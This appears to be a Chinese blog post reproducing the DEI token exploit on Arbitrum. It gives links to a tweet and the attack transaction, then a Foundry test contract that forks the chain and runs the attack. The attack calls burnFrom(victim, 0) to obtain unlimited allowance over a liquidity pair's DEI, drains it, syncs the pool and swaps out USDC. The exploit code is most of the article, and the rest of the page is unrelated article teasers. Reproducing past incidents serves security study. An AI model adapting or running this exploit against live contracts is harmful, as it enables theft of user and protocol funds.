智能合约漏洞案例,DEI 漏洞复现
智能合约漏洞案例,DEI 漏洞复现
1. 漏洞简介
https://twitter.com/eugenioclrc/status/1654576296507088906

2. 相关地址或交易
https://explorer.phalcon.xyz/tx/arbitrum/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef 攻击交易
3. 获利分析

5. 漏洞复现
pragma solidity ^0.8.10;//import "../interfaces/interface.sol";
import "forge-std/Test.sol";
import "./interface.sol";
import "../contracts/ERC20.sol";interface DEI {function burnFrom(address account, uint256 amount) external;
}interface AMM {function sync() external;function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;function getAmountOut(uint amountIn, address tokenIn) external returns(uint256);}contract ContractTest is Test{address constant dei = 0xDE1E704dae0B4051e80DAbB26ab6ad6c12262DA0;address constant victim = 0x7DC406b9B904a52D10E19E848521BbA2dE74888b;address constant usdc = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8;CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);function setUp() public {cheats.createSelectFork("arbitrum", 87626026 -2);//uint256 forkId = cheats.createFork("bsc");//cheats.selectFork(forkId);}function testExploit() external {IERC20(dei).approve(victim,type(uint256).max);DEI(dei).burnFrom(victim, 0);emit log_named_decimal_uint("Attacker DEI allowance", IERC20(dei).allowance(victim,address(this)), 18);uint256 victimNum = IERC20(dei).balanceOf(victim);emit log_named_decimal_uint("victim DEI allowance", victimNum, 18);IERC20(dei).transferFrom(victim,address(this),victimNum-1);AMM(victim).sync();emit log_named_decimal_uint("After attack,Attacker DEI allowance",IERC20(dei).balanceOf(address(this)), 18);uint outNum = AMM(victim).getAmountOut(victimNum-1, dei);emit log_named_decimal_uint("outNUm is :",outNum, 18);IERC20(dei).transfer(victim,victimNum-1);AMM(victim).swap(0, outNum, address(this), "");emit log_named_decimal_uint("After attacker's usdc is :",IERC20(usdc).balanceOf(address(this)), 6);}
}
相关文章:
智能合约漏洞案例,DEI 漏洞复现
智能合约漏洞案例,DEI 漏洞复现 1. 漏洞简介 https://twitter.com/eugenioclrc/status/1654576296507088906 2. 相关地址或交易 https://explorer.phalcon.xyz/tx/arbitrum/0xb1141785b7b94eb37c39c37f0272744c6e79ca1517529fec3f4af59d4c3c37ef 攻击交易 3. …...
Attention is all you need 论文笔记
该论文引入Transformer,主要核心是自注意力机制,自注意力(Self-Attention)机制是一种可以考虑输入序列中所有位置信息的机制。 RNN介绍 引入RNN为了更好的处理序列信息,比如我 吃 苹果,前后的输入之间是有…...
Hdoop伪分布式集群搭建
文章目录 Hadoop安装部署前言1.环境2.步骤3.效果图 具体步骤(一)前期准备(1)ping外网(2)配置主机名(3)配置时钟同步(4)关闭防火墙 (二)…...
java临时文件
临时文件 有时候,我们程序运行时需要产生中间文件,但是这些文件只是临时用途,并不做长久保存。 我们可以使用临时文件,不需要长久保存。 public static File createTempFile(String prefix, String suffix)prefix 前缀 suffix …...
C++中的<string>头文件 和 <cstring>头文件简介
C中的<string>头文件 和 <cstring>头文件简介 在C中<string> 和 <cstring> 是两个不同的头文件。 <string> 是C标准库中的头文件,定义了一个名为std::string的类,提供了对字符串的操作如size()、length()、empty() 及字…...
安装MySQL
Centos7下安装MySQL详细步骤_centos7安装mysql教程_欢欢李的博客-CSDN博客...
输入学生成绩,函数返回最大元素的数组下标,求最高分学生成绩(输入负数表示输入结束)
scanfscore()函数用于输入学生的成绩 int scanfscore(int score[N])//输入学生的成绩 {int i -1;do {i;printf("输入学生成绩:");scanf("%d", &score[i]);} while (score[i] > 0);return i; } findmax()用于寻找最大值 int findmax(int score[N…...
常用音频接口:TDM,PDM,I2S,PCM
常用音频接口:TDM,PDM,I2S,PCM_tdm音频_沙漠的甲壳虫的博客-CSDN博客 I2S/PCM接口及音频codec_音频pcm接口模块设计-CSDN博客 2个TDM8功放调试ing_周龙(AI湖湘学派)的博客-CSDN博客 数字音频接口时序----IIS、TDM、PCM、PDM_td…...
git clone报错Failed to connect to github.com port 443 after 21055 ms:
git 设置代理端口号 git config --global http.proxy http://127.0.0.1:10085 和 git config --global https.proxy http://127.0.0.1:10085 然后就可以成功git clone hugging face的数据集了 如果是https://huggingface.co/datasets/shibing624/medical/tree/main 那么…...
【操作系统】深入浅出死锁问题
死锁的概念 在多线程编程中,我们为了防止多线程竞争共享资源而导致数据错乱,都会在操作共享资源而导致数据错乱,都会在操作共享资源之前加上互斥锁,只有成功获得到锁的线程,才能操作共享资源,获取不到锁的…...
springboot实现webSocket服务端和客户端demo
1:pom导入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-websocket</artifactId><version>2.2.7.RELEASE</version></dependency>2:myWebSocketClien…...
代码走读: FFMPEG-ffplayer02
AVFrame int attribute_align_arg avcodec_receive_frame(AVCodecContext *avctx, AVFrame *frame) 选取一个音频解码器 和 一个视频解码器分别介绍该解码器功能 音频G722 g722dec.c -> g722_decode_frame 通过 ff_get_buffer 给 传入的 frame 指针分配内存 g722_decode_…...
【数据结构】——排序算法的相关习题
目录 一、选择题题型一 (插入排序)1、直接插入排序2、折半插入排序3、希尔排序 题型二(交换排序)1、冒泡排序2、快速排序 题型三(选择排序)1、简单选择排序~2、堆排序 ~题型四(归并排序…...
C高级day5(Makefile)
一、Xmind整理: 二、上课笔记整理: 1.#----->把带参宏的参数替换成字符串 #include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX(a,b) a>b?a:b #define STR(n) #n int main(int argc, const char *argv…...
Android 系统中适配OAID获取
一、OAID概念 OAID(Open Anonymous Identification)是一种匿名身份识别标识符, 用于在移动设备上进行广告追踪和个性化广告投放。它是由中国移动通信集 团、中国电信集团和中国联通集团共同推出的一项行业标准 OAID值为一个64位的数字 二、…...
差分数组leetcode 2770 数组的最大美丽值
什么是差分数组 差分数组是一种数据结构,它存储的是一个数组每个相邻元素的差值。换句话说,给定一个数组arr[],其对应的差分数组diff[]将满足: diff[i] arr[i1] - arr[i] 对于所有 0 < i < n-1 差分数组的作用 用于高效…...
请求响应状态码
请求与响应&状态码 Requests部分 请求行、消息报头、请求正文。 Header解释示例Accept指定客户端能够接收的内容类型Accept: text/plain, text/htmlAccept-Chars et浏览器可以接受的字符编码集。Accept-Charset: iso-8859-5Accept-Encodi ng指定浏览器可以支持的web服务…...
安卓机型系统美化 Color.xml文件必备常识 自定义颜色资源
color.xml文件是Android工程中用来进行颜色资源管理的文件.可以在color.xml文件中通过<color>标签来定义颜色资源.我们在布局文件中、代码中、style定义中或者其他资源文件中,都可以引用之前在color.xml文件中定义的颜色资源。 将color.xml文件拷到res/value…...
YOLO物体检测-系列教程1:YOLOV1整体解读(预选框/置信度/分类任/回归任务/损失函数/公式解析/置信度/非极大值抑制)
🎈🎈🎈YOLO 系列教程 总目录 YOLOV1整体解读 YOLOV2整体解读 YOLOV1提出论文:You Only Look Once: Unified, Real-Time Object Detection 1、物体检测经典方法 two-stage(两阶段):Faster-rc…...
2023/9/12 -- C++/QT
作业 实现一个图形类(Shape),包含受保护成员属性:周长、面积, 公共成员函数:特殊成员函数书写 定义一个圆形类(Circle),继承自图形类,包含私有属性…...
PCB板验证
铺铜完成是PCB设计中的一个重要里程碑,但还不是终点。在发送给板厂生产之前,还需要完成一系列关键的验证、优化和文件输出工作。简单来说,铺铜之后的标准流程是:设计验证(DRC/DFM) → 必要分析(…...
Dynamic-Datasource连接池监控指标:10个关键指标调用指南
Dynamic-Datasource连接池监控指标:10个关键指标调用指南 【免费下载链接】dynamic-datasource dynamic datasource for springboot 多数据源 动态数据源 主从分离 读写分离 分布式事务 项目地址: https://gitcode.com/gh_mirrors/dy/dynamic-datasource Dy…...
Qwen-Image-Edit-2511保姆级教程:零基础学会AI修图,效果惊艳
Qwen-Image-Edit-2511保姆级教程:零基础学会AI修图,效果惊艳 1. 前言:为什么选择Qwen-Image-Edit-2511 如果你还在为Photoshop复杂的操作界面头疼,或者想快速实现专业级的图片编辑效果,那么Qwen-Image-Edit-2511绝对…...
COMSOL相场模拟:枝晶生长与雪花形成的模型与教程
comsol相场模拟枝晶生长(雪花的形成) 有模型和教程 凌晨三点盯着显微镜下的冰晶生长,突然意识到这玩意儿和编程调试一样——参数调不好分分钟给你长歪。相场法模拟枝晶生长这事儿,本质上就是在用数学方程式和物理定律"种&qu…...
206_深度学习进阶:模型选择、过拟合与欠拟合的生存法则
在机器学习中,我们的目标是发现泛化(Generalization)模式,即在未见过的数据上也能预测准确。然而,模型往往会陷入两个极端:要么学得太浅(欠拟合),要么记住了噪音…...
SenseVoice Small多语言语音识别指南:中英粤日韩自动混合识别实操
SenseVoice Small多语言语音识别指南:中英粤日韩自动混合识别实操 1. 项目概述:极速语音转文字解决方案 SenseVoice Small是阿里通义千问推出的轻量级语音识别模型,专门针对多语言语音转文字场景优化。本项目基于该模型构建了一套高性能的语…...
QT实战:用QChartView快速打造动态折线图(附完整代码)
QT实战:用QChartView快速打造动态折线图(附完整代码) 在数据可视化领域,动态折线图因其直观展示数据变化趋势的能力,成为监控系统、金融分析、工业控制等场景的标配。QT框架提供的QChartView组件,让开发者能…...
使用 C++ 模拟 ShaderLanguage 的 swizzle
经常编写着色器的同学应该对 swizzle(重排)语法非常熟悉,方便又灵活,可以说是用过一次便回味无穷。 代码 vec4 color vec4(1.0, 0.5, 0.0, 1.0); vec3 rgb color.rgb; // { 1.0, 0.5, 0.0 } vec2 xy color.xy; …...
PyCharm远程调试避坑指南:从数据集同步到依赖安装,搞定AuToDL服务器上的代码运行
PyCharm远程调试避坑指南:从数据集同步到依赖安装,搞定AuToDL服务器上的代码运行 在深度学习项目的实际开发中,本地环境往往难以满足大规模计算需求。许多开发者选择将代码迁移到AuToDL等云服务器上运行,却常常在远程调试环节遇到…...
如何用RecastNavigation构建高效AI导航系统:5个实战技巧揭秘
如何用RecastNavigation构建高效AI导航系统:5个实战技巧揭秘 【免费下载链接】recastnavigation Navigation-mesh Toolset for Games 项目地址: https://gitcode.com/gh_mirrors/re/recastnavigation 你是否曾为游戏中的AI角色设计路径规划而头疼?…...
